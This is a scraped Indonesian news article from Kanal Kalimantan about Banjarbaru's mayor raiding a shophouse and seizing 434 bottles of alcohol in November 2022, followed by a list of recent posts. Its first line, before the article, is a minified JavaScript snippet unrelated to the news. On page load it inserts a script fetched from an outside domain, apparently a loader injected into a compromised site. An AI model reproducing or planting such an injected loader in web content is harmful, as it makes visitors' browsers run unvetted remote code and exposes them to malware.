(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Sidak Ruko di Panglima Batur, Wali Kota Aditya Sita 434 Botol Miras!


KANALKALIMANTAN.COM, BANJARBARU – Atas banyaknya laporan dari masyarakat terkait maraknya peredaran minuman keras Wali Kota Banjarbaru, Aditya Mufti Ariffin turun tangan.

Didampingi Dandim 1006/Martapura Letkol Inf Imam Muchtarom, Wali Kota Aditya menyidak sebuah ruko di Jalan Panglima Batur, tepatnya di samping Mini Market Az-Zahra. Alhasil Wali Kota dan tim yang juga turut diikuti belasan personil Satpol PP Kota Banjarbaru, merazia ratusan botol dan kaleng minuman keras, Jumat (25/11/2022) malam.

Tak berbelit-belit, Aditya yang mendapati ratusan miras siap jual itu langsung menginstruksikan kepada personil untuk langsung menyita. Adapun ratusan miras berbagai tersebut tersimpan di dalam kulkas dan kardus yang masih tersegel.

Aditya juga mendapati dua orang penjaga di ruko tersebut. Saat ditanya, kedua orang tersebut mengaku bukan pemilik ratusan miras tersebut, melainkan hanya bertugas menjualkan.

 

Baca juga : DPRD Kapuas Rapat Paripurna Jawaban Kepala Daerah atas Pemandangan Umum Fraksi terhadap Pengantar APBD 2023

“Tadi saat saya tanya siapa pemiliknya, mereka mengaku kalau pemiliknya sedang berada di luar daerah. Namun begitu miras-miras ini tetap kita sita karena telah menyalahi Perda Banjarbaru,” kata Wali Kota.

 

Diakui Aditya sidak malam ini dipicu atas banyaknya laporan dari masyarakat terkait aktivitas jual beli miras. Laporan itu pun kemudian ditanggapi Aditya dengan mengumpulkan informasi ihwal dimana saja lokasi penjualannya.

“Untuk di ruko area jalan Panglima Batur tadi kita menyita sebanyak 434 botol miras berbagai merek. Sebenarnya ada satu lokasi lagi, tapi informasinya bocor karena saat kita datangi tempatnya sudah tutup,” jelasnya.

Adapun 434 botol miras tersebut di antaranya 366 miras jenis botol dan 68 sisanya jenis kaleng. Untuk kedua tersangka berinisial AW (22) dan MH (25) kini menjalani pemeriksaan di Mako Satpol PP Kota Banjarbaru.

Baca juga  : Gelar Konwil ke-28, PII Kalsel Komitmen jadi Wadah Pengembangan Kualitas Pelajar

Diakhir kegiatannya, Aditya mengimbau kepada seluruh lapisan masyarakat untuk peduli terhadap lingkungan sekitar. Dalam hal ini ia meminta kepada masyarakat untuk dapat melaporkan ke pihak berwenang apabila menemukan adanya aktivitas-aktivitas mencurigakan.

“Segera laporkan ke Satpol PP maupun Polisi. Mari kita jaga lingkungan kita, khususnya di Banjarbaru. Isi dengan kegiatan-kegiatan positif sehingga suasana tempat tinggal kita pun bisa nyaman,” imbaunya. (Kanalkalimantan.com/al)

Reporter  : al
Editor  : kk


Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

5 Nama Pendaftar Bacalon Pilwali Banjarbaru ke PDIP

KANALKALIMANTAN.COM, BANJARBARU - Lima buah formulir pendaftaran diambil oleh lima orang bakal calon Pilkada 2024… Read More

3 jam ago

Acil Odah Resmi Lamar Golkar Maju Pilgub Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hj Raudatul Jannah alias Acil Odah untuk maju pada kontestasi Pemilihan… Read More

3 jam ago

Golkar Banjarbaru Buka Penjaringan Bakal Calon Wali Kota

KANALKALIMANTAN.COM, BANJARBARU - DPD Partai Golkar Kota Banjarbaru membuka pendaftaran bakal calon Wali Kota dan… Read More

4 jam ago

Soal Pungutan Acara Perpisahan Siswa, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyikapi persoalan iuran kegiatan acara… Read More

7 jam ago

Pungutan Acara Perpisahaan Siswa, Begini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Menyikapi pungutan acara perpisahan siswa sekolah di Banjarbaru, Wali Kota Banjarbaru Aditya… Read More

8 jam ago

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

19 jam ago

This website uses cookies.